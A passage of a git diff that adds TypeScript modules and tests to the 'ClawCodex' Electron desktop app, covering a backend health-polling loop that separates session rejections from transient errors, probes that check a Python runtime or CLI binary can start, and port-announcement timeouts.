+  assert.ok(calls.every(call => call[0] === 'public' && call[1].endsWith('/api/health')))
+})
+
+test('credentialed 5xx and 429 keep polling — only 401/403 are terminal', async () => {
+  for (const transient of ['500: boom', '429: {"detail":"Too Many Requests"}']) {
+    let attempts = 0
+    let currentTime = 0
+
+    await assert.rejects(
+      waitForClawCodexReady('https://gateway.example', {
+        fetchPublicJson: async () => ({}),
+        fetchJson: async () => ({}),
+        probeHealth: async () => {
+          attempts += 1
+          throw new Error(transient)
+        },
+        probeIsCredentialed: true,
+        sleep: async () => {},
+        now: () => {
+          currentTime += 20
+
+          return currentTime
+        },
+        timeoutMs: 100,
+        pollMs: 1
+      }),
+      (error: any) => isReauthRequiredError(error) === false
+    )
+
+    assert.ok(attempts > 1, `${transient} should have retried, got ${attempts} attempt(s)`)
+  }
+})
+
+test('error-shape predicates', () => {
+  assert.equal(isGatedMissingHealthError(new Error(GATE_401)), true)
+  assert.equal(isGatedMissingHealthError(new Error('401: {"detail":"Unauthorized"}')), false)
+  assert.equal(isGatedMissingHealthError(new Error('404: {"detail":"Not Found"}')), false)
+
+  assert.equal(isAuthRejectionError(new Error(GATE_401)), true)
+  assert.equal(isAuthRejectionError(new Error('403: {"detail":"Forbidden"}')), true)
+  assert.equal(isAuthRejectionError(new Error('404: {"detail":"Not Found"}')), false)
+  assert.equal(isAuthRejectionError(new Error('429: slow down')), false)
+  assert.equal(isAuthRejectionError(new Error('500: boom')), false)
+
+  // A gated 401 must NOT be conflated with a missing route by the 404 predicate.
+  assert.equal(isMissingHealthEndpointError(new Error(GATE_401)), false)
+})
diff --git a/ui-desktop/electron/backend-health.ts b/ui-desktop/electron/backend-health.ts
new file mode 100644
index 000000000..d01f6927e
--- /dev/null
+++ b/ui-desktop/electron/backend-health.ts
@@ -0,0 +1,169 @@
+export const DEFAULT_BACKEND_READY_TIMEOUT_MS = 45_000
+export const DEFAULT_BACKEND_READY_POLL_MS = 500
+// A cold backend can stall its event loop for tens of seconds while Windows
+// scans and byte-compiles the gateway import tree. At the default 15s socket
+// timeout only three probes fit in the budget; a short one keeps retrying
+// across the stall. Health only — the legacy /api/status fallback is genuinely
+// slow to answer and keeps the caller's default timeout.
+export const DEFAULT_HEALTH_PROBE_TIMEOUT_MS = 5_000
+
+type FetchPublicJson = (url: string, options?: { timeoutMs?: number }) => Promise<unknown>
+type FetchJson = (url: string, token?: string | null, options?: { timeoutMs?: number }) => Promise<unknown>
+
+export interface ClawCodexReadyOptions {
+  fetchPublicJson: FetchPublicJson
+  fetchJson: FetchJson
+  token?: string | null
+  signal?: AbortSignal
+  timeoutMs?: number
+  pollMs?: number
+  healthProbeTimeoutMs?: number
+  sleep?: (ms: number) => Promise<void>
+  now?: () => number
+  /**
+   * Credentialed health probe. When supplied, readiness is probed with the
+   * connection's own credentials instead of anonymously — which is what lets
+   * a gated backend answer 404 for a genuinely missing /api/health, and what
+   * makes a 401 from this probe mean "session rejected" rather than "route
+   * behind a gate". Defaults to the credential-free `fetchPublicJson`.
+   */
+  probeHealth?: (url: string, options?: { timeoutMs?: number }) => Promise<unknown>
+  /**
+   * Whether `probeHealth` actually presents credentials. Distinguishes the
+   * two very different meanings of a 401 (see `waitForClawCodexReady`).
+   */
+  probeIsCredentialed?: boolean
+}
+
+export const REMOTE_SESSION_EXPIRED_MESSAGE =
+  'Your remote gateway session has expired. Open Settings → Gateway and click "Sign in" again.'
+
+export function isMissingHealthEndpointError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error ?? '')
+
+  return /^404:/.test(message) || message.includes('endpoint is likely missing')
+}
+
+/**
+ * True for a hard auth rejection (401/403) as opposed to a transient failure.
+ * Deliberately shape-based: 429 is a throttle and 5xx is a server fault, and
+ * both must keep polling.
+ */
+export function isAuthRejectionError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error ?? '')
+
+  return /^40[13]:/.test(message)
+}
+
+/**
+ * True for an auth rejection carrying the dashboard gate's "no session at all"
+ * shape. On a backend that predates `/api/health`, the gate runs ahead of the
+ * SPA catch-all, so an unknown `/api/*` path is rejected as unauthenticated
+ * instead of 404 — this is the signal that an ANONYMOUS probe cannot reach the
+ * route, and the reason a credential-free 401 must fall back to `/api/status`
+ * rather than be reported as a boot failure.
+ */
+export function isGatedMissingHealthError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error ?? '')
+
+  return isAuthRejectionError(error) && message.includes('no_cookie')
+}
+
+/** Tag a terminal reauth failure the main process latches and the overlay keys on. */
+export function makeReauthRequiredError(detail?: string): Error {
+  const error = new Error(REMOTE_SESSION_EXPIRED_MESSAGE) as any
+  error.needsOauthLogin = true
+  error.isReauthRequired = true
+
+  if (detail) {
+    error.detail = detail
+  }
+
+  return error
+}
+
+export function isReauthRequiredError(error: unknown): boolean {
+  return Boolean((error as any)?.isReauthRequired)
+}
+
+function supersededError() {
+  const error: any = new Error('SSH bootstrap was superseded by newer connection settings.')
+  error.kind = 'superseded'
+
+  return error
+}
+
+export async function waitForClawCodexReady(baseUrl: string, options: ClawCodexReadyOptions): Promise<void> {
+  const timeoutMs = options.timeoutMs ?? DEFAULT_BACKEND_READY_TIMEOUT_MS
+  const pollMs = options.pollMs ?? DEFAULT_BACKEND_READY_POLL_MS
+  const healthProbeTimeoutMs = options.healthProbeTimeoutMs ?? DEFAULT_HEALTH_PROBE_TIMEOUT_MS
+  const now = options.now ?? Date.now
+  const signal = options.signal
+
+  const sleep =
+    options.sleep ??
+    (ms =>
+      new Promise<void>((resolve, reject) => {
+        const timer = setTimeout(resolve, ms)
+        signal?.addEventListener(
+          'abort',
+          () => {
+            clearTimeout(timer)
+            reject(supersededError())
+          },
+          { once: true }
+        )
+      }))
+
+  const base = baseUrl.replace(/\/+$/, '')
+  const deadline = now() + timeoutMs
+  const probeHealth = options.probeHealth ?? options.fetchPublicJson
+  const probeIsCredentialed = Boolean(options.probeIsCredentialed)
+  let lastError: unknown = null
+  let useStatusFallback = false
+
+  while (now() < deadline) {
+    if (signal?.aborted) {
+      throw supersededError()
+    }
+
+    try {
+      if (useStatusFallback) {
+        await options.fetchJson(`${base}/api/status`, options.token)
+      } else {
+        await probeHealth(`${base}/api/health`, { timeoutMs: healthProbeTimeoutMs })
+      }
+
+      return
+    } catch (error) {
+      lastError = error
+
+      // A confirmed 401/403 from a CREDENTIALED probe means the session was
+      // rejected, not that the route is missing. Fail fast into a reauth
+      // state: falling back to the public /api/status would answer 200 and
+      // report a dead session as "ready", deferring the failure to the first
+      // real API call. Applies to the /api/status leg too — it is routed
+      // through the same credentials.
+      if (probeIsCredentialed && isAuthRejectionError(error)) {
+        throw makeReauthRequiredError(error instanceof Error ? error.message : String(error))
+      }
+
+      // An explicitly missing route means the backend predates /api/health.
+      // So does a gate-shaped 401 on an ANONYMOUS probe: the dashboard auth
+      // gate runs ahead of the SPA catch-all, so a pre-/api/health backend
+      // rejects the unknown path as unauthenticated instead of 404 and a
+      // credential-free probe can never observe the 404. Timeouts, 5xx, 429,
+      // and non-gate 401s keep polling health.
+      if (!useStatusFallback && (isMissingHealthEndpointError(error) || isGatedMissingHealthError(error))) {
+        useStatusFallback = true
+
+        continue
+      }
+
+      await sleep(pollMs)
+    }
+  }
+
+  const detail = lastError instanceof Error ? lastError.message : 'timeout'
+  throw new Error(`ClawCodex backend did not become ready: ${detail}`)
+}
diff --git a/ui-desktop/electron/backend-probes.test.ts b/ui-desktop/electron/backend-probes.test.ts
new file mode 100644
index 000000000..561d0fc87
--- /dev/null
+++ b/ui-desktop/electron/backend-probes.test.ts
@@ -0,0 +1,127 @@
+/**
+ * Tests for electron/backend-probes.ts.
+ *
+ * Run with: node --test electron/backend-probes.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ */
+
+import assert from 'node:assert/strict'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  canImportClawCodexCli,
+  clawcodexRuntimeImportProbe,
+  DEFAULT_PROBE_TIMEOUT_MS,
+  PROBE_TIMEOUT_MS,
+  resolveProbeTimeoutMs,
+  shouldTrustClawCodexOverride,
+  verifyClawCodexCli
+} from './backend-probes'
+
+// Resolve the host's own Node binary -- guaranteed to be on disk and
+// runnable. We use it as both a stand-in for "a python that doesn't
+// have clawcodex_cli" (since `node -c "import clawcodex_cli"` will exit
+// non-zero) and as a way to script verifyClawCodexCli's success path
+// (a tiny script we write to disk that exits 0 on --version).
+const NODE_BIN = process.execPath
+
+test('canImportClawCodexCli returns false when path is falsy', () => {
+  assert.equal(canImportClawCodexCli(''), false)
+  assert.equal(canImportClawCodexCli(null), false)
+  assert.equal(canImportClawCodexCli(undefined), false)
+})
+
+test('canImportClawCodexCli returns false when interpreter cannot run -c', () => {
+  // node IS an interpreter, but `node -c "import clawcodex_cli"` is a
+  // SyntaxError -- different exit reason from a real Python's
+  // ModuleNotFoundError, but the predicate is "exit 0 or not" and
+  // both land on "not", which is exactly what we want for the
+  // resolver fall-through.
+  assert.equal(canImportClawCodexCli(NODE_BIN), false)
+})
+
+test('canImportClawCodexCli returns false when binary does not exist', () => {
+  const ghost = path.join(os.tmpdir(), 'clawcodex-probes-ghost-' + Date.now() + '.exe')
+  assert.equal(canImportClawCodexCli(ghost), false)
+})
+
+test('clawcodex runtime import probe checks config dependencies', () => {
+  const probe = clawcodexRuntimeImportProbe()
+  assert.match(probe, /\bimport yaml\b/)
+  // dotenv is the first third-party import on the CLI boot path
+  // (clawcodex_cli/env_loader.py); a mid-update venv missing python-dotenv
+  // passed the old probe and produced an unrecoverable boot loop.
+  assert.match(probe, /\bimport dotenv\b/)
+  assert.match(probe, /\bimport clawcodex_cli\.config\b/)
+})
+
+test('explicit ClawCodex override is authoritative', () => {
+  assert.equal(shouldTrustClawCodexOverride('/nix/store/abc/bin/clawcodex'), true)
+})
+
+test('empty ClawCodex override is not authoritative', () => {
+  assert.equal(shouldTrustClawCodexOverride(''), false)
+  assert.equal(shouldTrustClawCodexOverride(undefined), false)
+})
+
+test('verifyClawCodexCli returns false when command is falsy', () => {
+  assert.equal(verifyClawCodexCli(''), false)
+  assert.equal(verifyClawCodexCli(null), false)
+  assert.equal(verifyClawCodexCli(undefined), false)
+})
+
+test('verifyClawCodexCli returns false when binary does not exist', () => {
+  const ghost = path.join(os.tmpdir(), 'clawcodex-probes-ghost-' + Date.now() + '.exe')
+  assert.equal(verifyClawCodexCli(ghost), false)
+})
+
+test('verifyClawCodexCli returns true when --version exits 0', () => {
+  // Write a tiny script that exits 0 regardless of args, then invoke
+  // it through node. This stands in for a working clawcodex binary --
+  // verifyClawCodexCli only cares about the exit code.
+  const scriptPath = path.join(os.tmpdir(), `clawcodex-probes-ok-${Date.now()}-${process.pid}.cjs`)
+  fs.writeFileSync(scriptPath, 'process.exit(0)\n')
+
+  try {
+    // Use node as the launcher and our script as the "command". Pass
+    // shell:false (default) -- node is a real binary, no shim.
+    // execFileSync passes ['--version'] as args, which node ignores
+    // gracefully (well, it prints its version and exits 0, which is
+    // perfect -- exit code 0 is the only signal we read).
+    assert.equal(verifyClawCodexCli(NODE_BIN), true)
+  } finally {
+    try {
+      fs.unlinkSync(scriptPath)
+    } catch {
+      void 0
+    }
+  }
+})
+
+test('verifyClawCodexCli swallows timeouts (does not throw)', () => {
+  // We can't easily provoke a real hang in CI without slowing the
+  // suite, but we CAN confirm that an invocation that DOES throw
+  // (because the binary is missing) returns false rather than
+  // propagating. Same code path the timeout case takes.
+  assert.equal(verifyClawCodexCli('/definitely/not/a/real/binary/anywhere'), false)
+})
+
+test('default probe timeout is 15s (not the old 5s death-loop value)', () => {
+  assert.equal(DEFAULT_PROBE_TIMEOUT_MS, 15_000)
+  // Module constant uses process.env at load time; with no override it
+  // matches the default (tests run without CLAWCODEX_PROBE_TIMEOUT_MS).
+  assert.equal(PROBE_TIMEOUT_MS, DEFAULT_PROBE_TIMEOUT_MS)
+})
+
+test('resolveProbeTimeoutMs honours CLAWCODEX_PROBE_TIMEOUT_MS', () => {
+  assert.equal(resolveProbeTimeoutMs({}), DEFAULT_PROBE_TIMEOUT_MS)
+  assert.equal(resolveProbeTimeoutMs({ CLAWCODEX_PROBE_TIMEOUT_MS: '30000' }), 30_000)
+  assert.equal(resolveProbeTimeoutMs({ CLAWCODEX_PROBE_TIMEOUT_MS: '0' }), DEFAULT_PROBE_TIMEOUT_MS)
+  assert.equal(resolveProbeTimeoutMs({ CLAWCODEX_PROBE_TIMEOUT_MS: 'nope' }), DEFAULT_PROBE_TIMEOUT_MS)
+  // Cap runaway values
+  assert.equal(resolveProbeTimeoutMs({ CLAWCODEX_PROBE_TIMEOUT_MS: '999999' }), 120_000)
+})
diff --git a/ui-desktop/electron/backend-probes.ts b/ui-desktop/electron/backend-probes.ts
new file mode 100644
index 000000000..497b658af
--- /dev/null
+++ b/ui-desktop/electron/backend-probes.ts
@@ -0,0 +1,221 @@
+/**
+ * backend-probes.ts
+ *
+ * Cheap "does this candidate backend actually work" checks used by
+ * resolveClawCodexBackend (main.ts). The resolver walks a ladder of
+ * candidates -- bootstrap marker, `clawcodex` on PATH, system Python with
+ * clawcodex_cli installed -- and historically returned the first candidate
+ * whose binary existed on disk. That assumption breaks when a user has
+ * a pre-installed Python 3.11-3.13 (so findSystemPython() returns a
+ * path) but no clawcodex_cli in its site-packages: the resolver hands back
+ * a backend the spawn step can't actually run, and the user gets a
+ * dead-on-arrival "ModuleNotFoundError: No module named 'clawcodex_cli'"
+ * instead of the first-launch installer.
+ *
+ * These probes give the resolver a way to verify a candidate before
+ * trusting it. Failure (non-zero exit, exception, timeout) means "skip
+ * this rung, try the next one"; success means "spawn this for real."
+ * Falling off the bottom of the ladder lands on the bootstrap-needed
+ * sentinel, which is exactly what we want when nothing pre-existing
+ * actually works.
+ *
+ * Both probes are deliberately fast and forgiving:
+ *   - default 15s timeout (5s was too short on cold Windows disks / AV;
+ *     issue #61764 death-loop) with CLAWCODEX_PROBE_TIMEOUT_MS override
+ *   - one automatic retry after a timeout before declaring the runtime dead
+ *   - stdio ignored (we only care about exit code; stdout/stderr are
+ *     not surfaced to the user, just to recentClawCodexLog for forensics
+ *     via the caller's catch block if it chooses)
+ *   - any throw -> false (never propagate -- resolver wants a boolean)
+ *
+ * Kept in a standalone ts module so it can be unit-tested with
+ * `node --test` without dragging in the electron runtime (same pattern
+ * as bootstrap-platform.ts and hardening.ts).
+ */
+
+import { execFileSync } from 'node:child_process'
+
+/** Default probe budget. 5s false-negativeed healthy Windows cold starts (#61764). */
+const DEFAULT_PROBE_TIMEOUT_MS = 15_000
+
+/**
+ * Resolve the backend probe timeout (ms).
+ * Honours CLAWCODEX_PROBE_TIMEOUT_MS when it parses as a positive integer.
+ */
+function resolveProbeTimeoutMs(env: NodeJS.ProcessEnv = process.env): number {
+  const raw = env.CLAWCODEX_PROBE_TIMEOUT_MS
+
+  if (raw == null || raw === '') {
+    return DEFAULT_PROBE_TIMEOUT_MS
+  }
+
+  const n = Number.parseInt(String(raw), 10)
+
+  if (!Number.isFinite(n) || n <= 0) {
+    return DEFAULT_PROBE_TIMEOUT_MS
+  }
+
+  // Clamp absurd values (ms) so a typo can't hang startup forever.
+  return Math.min(n, 120_000)
+}
+
+const PROBE_TIMEOUT_MS = resolveProbeTimeoutMs()
+
+function isTimeoutError(err: unknown): boolean {
+  if (!err || typeof err !== 'object') {
+    return false
+  }
+
+  const e = err as { code?: string; killed?: boolean; signal?: string }
+
+  if (e.killed === true) {
+    return true
+  }
+
+  if (e.code === 'ETIMEDOUT') {
+    return true
+  }
+
+  // Node marks timed-out execFileSync with SIGTERM on some platforms.
+  if (e.signal === 'SIGTERM') {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * Run execFileSync; on timeout only, retry once before failing.
+ * Non-timeout failures (ENOENT, non-zero exit) fail immediately.
+ */
+function execProbeSync(
+  command: string,
+  args: string[],
+  options: {
+    cwd?: string
+    env?: NodeJS.ProcessEnv
+    stdio: 'ignore'
+    timeout: number
+    shell?: boolean
+    windowsHide?: boolean
+  }
+): void {
+  try {
+    execFileSync(command, args, options)
+  } catch (err) {
+    if (!isTimeoutError(err)) {
+      throw err
+    }
+
+    // One cold-cache / AV miss should not force clawcodex-setup --update (#61764).
+    execFileSync(command, args, options)
+  }
+}
+
+/**
+ * Return the Python snippet used to verify ClawCodex can import far enough to
+ * launch the CLI. Kept exported for tests so dependency regressions are
+ * caught without needing a real broken venv fixture.
+ *
+ * @returns {string}
+ */
+function clawcodexRuntimeImportProbe() {
+  return 'import yaml; import dotenv; import clawcodex_cli.config'
+}
+
+/**
+ * Return true iff the ClawCodex runtime import probe exits 0.
+ *
+ * Used to gate the "fallback to system Python with clawcodex_cli installed"
+ * rung of resolveClawCodexBackend. Without this, a system Python 3.11-3.13
+ * registered in PEP 514 makes findSystemPython() succeed regardless of
+ * whether clawcodex_cli has actually been pip-installed into its
+ * site-packages -- and the resolver returns a backend that immediately
+ * dies on spawn.
+ *
+ * The probe intentionally imports clawcodex_cli.config, not just the top-level
+ * package: a broken/empty Windows launcher venv can still see the source tree
+ * through PYTHONPATH but lack PyYAML, then die on the first real CLI import.
+ *
+ * @param {string} pythonPath - Absolute path to a python.exe / python.
+ * @param {object} [opts.env] - Additional environment for the probe.
+ * @returns {boolean}
+ */
+function canImportClawCodexCli(pythonPath: string, opts: { env?: Record<string, string> } = {}) {
+  if (!pythonPath) {
+    return false
+  }
+
+  try {
+    execProbeSync(pythonPath, ['-c', clawcodexRuntimeImportProbe()], {
+      env: { ...process.env, ...(opts.env || {}) },
+      stdio: 'ignore',
+      timeout: PROBE_TIMEOUT_MS,
+      windowsHide: true
+    })
+
+    return true
+  } catch {
+    return false
+  }
+}
+
+/**
+ * Return true iff `<clawcodexCommand> --version` exits 0.
+ *
+ * Used to gate the "existing `clawcodex` on PATH" rung. Without this, a
+ * stale clawcodex.cmd shim left behind by an uninstalled pip install (or
+ * a half-built venv whose `clawcodex` entry-point points at a deleted
+ * Python) survives findOnPath() and gets selected as the backend.
+ *
+ * We intentionally avoid invoking the command with the dashboard args
+ * here -- `--version` is the cheapest "is this binary alive" smoke
+ * test that every clawcodex_cli entry-point has supported since 0.1.
+ *
+ * @param {string} clawcodexCommand - Resolved absolute path to a clawcodex
+ *   executable (or an interpreter+script wrapper).
+ * @param {boolean} [opts.shell] - Whether to run through a shell. For
+ *   .cmd/.bat shims on Windows execFileSync needs shell:true to find
+ *   the cmd interpreter; mirrors the same flag isCommandScript() drives
+ *   in resolveClawCodexBackend.
+ * @returns {boolean}
+ */
+/**
+ * An explicit desktop backend command is a deployment contract, not a PATH
+ * discovery candidate. In particular, the Nix desktop wrapper points this at
+ * its immutable, matching ClawCodex package; it must never fall through to the
+ * mutable install-script bootstrap path if a best-effort probe is slow.
+ */
+function shouldTrustClawCodexOverride(clawcodexOverride?: string) {
+  return typeof clawcodexOverride === 'string' && clawcodexOverride.trim().length > 0
+}
+
+function verifyClawCodexCli(clawcodexCommand: string, opts?: { shell?: boolean }) {
+  if (!clawcodexCommand) {
+    return false
+  }
+
+  try {
+    execProbeSync(clawcodexCommand, ['--version'], {
+      stdio: 'ignore',
+      timeout: PROBE_TIMEOUT_MS,
+      shell: Boolean(opts?.shell),
+      windowsHide: true
+    })
+
+    return true
+  } catch {
+    return false
+  }
+}
+
+export {
+  canImportClawCodexCli,
+  clawcodexRuntimeImportProbe,
+  DEFAULT_PROBE_TIMEOUT_MS,
+  execProbeSync,
+  PROBE_TIMEOUT_MS,
+  resolveProbeTimeoutMs,
+  shouldTrustClawCodexOverride,
+  verifyClawCodexCli
+}
diff --git a/ui-desktop/electron/backend-ready.test.ts b/ui-desktop/electron/backend-ready.test.ts
new file mode 100644
index 000000000..fbd8fc9f5
--- /dev/null
+++ b/ui-desktop/electron/backend-ready.test.ts
@@ -0,0 +1,218 @@
+/**
+ * Tests for electron/backend-ready.ts.
+ *
+ * Run with: node --test electron/backend-ready.test.ts
+ * (Wired into npm test:desktop:platforms in package.json.)
+ *
+ * Covers the cold-start port-announcement deadline (issue #50209): the clock
+ * starts before the backend binds its port, so a tight 45s deadline killed a
+ * healthy-but-still-compiling backend on cold Windows installs. The default is
+ * now cold-start tolerant and overridable via
+ * CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS, clamped to a 45s floor.
+ */
+
+import assert from 'node:assert/strict'
+import { EventEmitter } from 'node:events'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS,
+  MIN_PORT_ANNOUNCE_TIMEOUT_MS,
+  readDashboardReadyFile,
+  resolvePortAnnounceTimeoutMs,
+  waitForDashboardPort,
+  waitForDashboardPortAnnouncement,
+  waitForDashboardReadyFile
+} from './backend-ready'
+
+type FakeChildProcess = EventEmitter & {
+  stdout: EventEmitter
+}
+
+// A minimal stand-in for a spawned child process: an EventEmitter with a
+// stdout EventEmitter, matching the surface waitForDashboardPort consumes
+// (child.stdout.on('data'), child.on('exit'|'error') + the .off() teardown).
+function makeFakeChild(): FakeChildProcess {
+  const child = new EventEmitter() as FakeChildProcess
+  child.stdout = new EventEmitter()
+
+  return child
+}
+
+// ---------------------------------------------------------------------------
+// resolvePortAnnounceTimeoutMs
+// ---------------------------------------------------------------------------
+
+test('default is cold-start tolerant (> the historical 45s floor)', () => {
+  assert.equal(resolvePortAnnounceTimeoutMs({}), DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS)
+  assert.ok(
+    DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS > MIN_PORT_ANNOUNCE_TIMEOUT_MS,
+    'cold-start default must exceed the warm-start floor'
+  )
+})
+
+test('honors a valid CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS override', () => {
+  const env = { CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS: '120000' }
+  assert.equal(resolvePortAnnounceTimeoutMs(env), 120_000)
+})
+
+test('clamps an override below the floor up to the 45s minimum', () => {
+  const env = { CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS: '1000' }
+  assert.equal(resolvePortAnnounceTimeoutMs(env), MIN_PORT_ANNOUNCE_TIMEOUT_MS)
+})
+
+test('rounds a fractional override', () => {
+  const env = { CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS: '60000.7' }
+  assert.equal(resolvePortAnnounceTimeoutMs(env), 60_001)
+})
+
+test('falls back to the default for malformed / non-positive overrides', () => {
+  for (const bad of ['', 'abc', '0', '-5', 'NaN', undefined]) {
+    const env = bad === undefined ? {} : { CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS: bad }
+    assert.equal(
+      resolvePortAnnounceTimeoutMs(env),
+      DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS,
+      `override ${JSON.stringify(bad)} should fall through to the default`
+    )
+  }
+})
+
+// ---------------------------------------------------------------------------
+// waitForDashboardPort
+// ---------------------------------------------------------------------------
+
+test('resolves with the announced port', async () => {
+  const child = makeFakeChild()
+  const p = waitForDashboardPort(child, 1000)
+  child.stdout.emit('data', 'noise before\nCLAWCODEX_DASHBOARD_READY port=54321\n')
+  assert.equal(await p, 54321)
+})
+
+test('resolves with a CLAWCODEX_BACKEND_READY port (headless `serve`)', async () => {
+  const child = makeFakeChild()
+  const p = waitForDashboardPort(child, 1000)
+  child.stdout.emit('data', 'CLAWCODEX_BACKEND_READY port=43210\n')
+  assert.equal(await p, 43210)
+})
+
+test('parses the port even when the line arrives split across chunks', async () => {
+  const child = makeFakeChild()
+  const p = waitForDashboardPort(child, 1000)
+  child.stdout.emit('data', 'CLAWCODEX_DASHBOARD_READY po')
+  child.stdout.emit('data', 'rt=8080\n')
+  assert.equal(await p, 8080)
+})
+
+test('rejects when the child exits before announcing', async () => {
+  const child = makeFakeChild()
+  const p = waitForDashboardPort(child, 1000)
+  child.emit('exit', 1, null)
+  await assert.rejects(p, /exited before port announcement/)
+})
+
+test('rejects on a child error event', async () => {
+  const child = makeFakeChild()
+  const p = waitForDashboardPort(child, 1000)
+  child.emit('error', new Error('spawn ENOENT'))
+  await assert.rejects(p, /spawn ENOENT/)
+})
+
+test('rejects with the timeout message after the deadline', async () => {
+  const child = makeFakeChild()
+  await assert.rejects(
+    waitForDashboardPort(child, 20),
+    /Timed out waiting for ClawCodex backend port announcement \(20ms\)/
+  )
+})
+
+test('a late announcement after timeout does not throw (listeners torn down)', async () => {
+  const child = makeFakeChild()
+  await assert.rejects(waitForDashboardPort(child, 20), /Timed out/)
+  // The orphaned backend may still print its READY line later; the watcher
+  // must have detached so this emit is a no-op rather than a double-settle.
+  assert.doesNotThrow(() => {
+    child.stdout.emit('data', 'CLAWCODEX_DASHBOARD_READY port=9999\n')
+  })
+})
+
+// ---------------------------------------------------------------------------
+// ready-file port announcement
+// ---------------------------------------------------------------------------
+
+function mkTmpReadyFile() {
+  const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'clawcodex-ready-test-'))
+
+  return {
+    dir,
+    file: path.join(dir, 'ready.json'),
+    cleanup: () => fs.rmSync(dir, { recursive: true, force: true })
+  }
+}
+
+test('readDashboardReadyFile returns a valid port from JSON', () => {
+  const tmp = mkTmpReadyFile()
+
+  try {
+    fs.writeFileSync(tmp.file, JSON.stringify({ port: 4567 }))
+    assert.equal(readDashboardReadyFile(tmp.file), 4567)
+  } finally {
+    tmp.cleanup()
+  }
+})
+
+test('readDashboardReadyFile ignores missing, malformed, or invalid files', () => {
+  const tmp = mkTmpReadyFile()
+
+  try {
+    assert.equal(readDashboardReadyFile(tmp.file), null)
+    fs.writeFileSync(tmp.file, '{')
+    assert.equal(readDashboardReadyFile(tmp.file), null)
+    fs.writeFileSync(tmp.file, JSON.stringify({ port: 0 }))
+    assert.equal(readDashboardReadyFile(tmp.file), null)
+  } finally {
+    tmp.cleanup()
+  }
+})
+
+test('waitForDashboardReadyFile resolves when the ready file appears', async () => {
+  const tmp = mkTmpReadyFile()
+  const child = makeFakeChild()
+
+  try {
+    const p = waitForDashboardReadyFile(tmp.file, child, 1000)
+    setTimeout(() => fs.writeFileSync(tmp.file, JSON.stringify({ port: 8765 })), 20)
+    assert.equal(await p, 8765)
+  } finally {
+    tmp.cleanup()
+  }
+})
+
+test('waitForDashboardPortAnnouncement uses ready file when provided', async () => {
+  const tmp = mkTmpReadyFile()
+  const child = makeFakeChild()
+
+  try {
+    const p = waitForDashboardPortAnnouncement(child, { readyFile: tmp.file, timeoutMs: 1000 })
+    setTimeout(() => fs.writeFileSync(tmp.file, JSON.stringify({ port: 9876 })), 20)
+    assert.equal(await p, 9876)
+  } finally {
+    tmp.cleanup()
+  }
+})
+
+test('waitForDashboardReadyFile rejects when the child exits before file readiness', async () => {
+  const tmp = mkTmpReadyFile()
+  const child = makeFakeChild()
+
+  try {
+    const p = waitForDashboardReadyFile(tmp.file, child, 1000)
+    child.emit('exit', 1, null)
+    await assert.rejects(p, /exited before port announcement/)
+  } finally {
+    tmp.cleanup()
+  }
+})
diff --git a/ui-desktop/electron/backend-ready.ts b/ui-desktop/electron/backend-ready.ts
new file mode 100644
index 000000000..99930513b
--- /dev/null
+++ b/ui-desktop/electron/backend-ready.ts
@@ -0,0 +1,206 @@
+import fs from 'node:fs'
+
+// `clawcodex serve` announces CLAWCODEX_BACKEND_READY; the legacy `clawcodex dashboard`
+// backend announces CLAWCODEX_DASHBOARD_READY. Accept either so the desktop spawn
+// works against both the headless backend and old/dashboard runtimes.
+const _READY_RE = /^CLAWCODEX_(?:BACKEND|DASHBOARD)_READY port=(\d+)/m
+
+// The announcement clock starts the instant the backend process is spawned —
+// before uvicorn binds its socket. On a cold install the child must first
+// compile and import the whole `clawcodex_cli.main` → `web_server` → FastAPI/
+// uvicorn chain, and on Windows real-time AV (Defender) scans every freshly
+// written `.pyc`. That pre-bind cost can run 30-60s on a slow disk, so a tight
+// 45s deadline kills a *healthy but still-starting* backend and respawns it,
+// piling up orphaned processes (issue #50209). A roomier default absorbs the
+// cold-start cost; a warm start still announces in well under a second.
+const DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS = 90_000
+// Never trust a deadline tighter than the warm-start path needs; floor at 45s
+// (the historical default) so a malformed override can't reintroduce the loop.
+const MIN_PORT_ANNOUNCE_TIMEOUT_MS = 45_000
+
+/**
+ * Resolve the port-announcement deadline. Honors the
+ * CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS env override (for users on slow
+ * disks / aggressive AV who need an even longer cold-start window), clamped
+ * to a sane floor so a bad value can't make boot flakier than the default.
+ */
+function resolvePortAnnounceTimeoutMs(env = process.env) {
+  const parsed = Number(env.CLAWCODEX_DESKTOP_PORT_ANNOUNCE_TIMEOUT_MS)
+
+  if (Number.isFinite(parsed) && parsed > 0) {
+    return Math.max(MIN_PORT_ANNOUNCE_TIMEOUT_MS, Math.round(parsed))
+  }
+
+  return DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS
+}
+
+/**
+ * Watch a child process's stdout for the `CLAWCODEX_(BACKEND|DASHBOARD)_READY
+ * port=<N>` line that web_server.py prints after uvicorn binds its socket.
+ *
+ * Returns the parsed port. Rejects if:
+ *   - the child exits before emitting the line
+ *   - the child emits an `error` event
+ *   - no line arrives within the timeout
+ *
+ * The default timeout is cold-start tolerant (see
+ * DEFAULT_PORT_ANNOUNCE_TIMEOUT_MS) because the clock starts before the
+ * backend has even bound its port. Pass an explicit `timeoutMs` to override.
+ *
+ * A single `cleanup()` tears down every listener (data/exit/error/timeout)
+ * on every terminal path — resolve, reject, or timeout — so repeated
+ * backend spawns don't leak listener slots on the child.
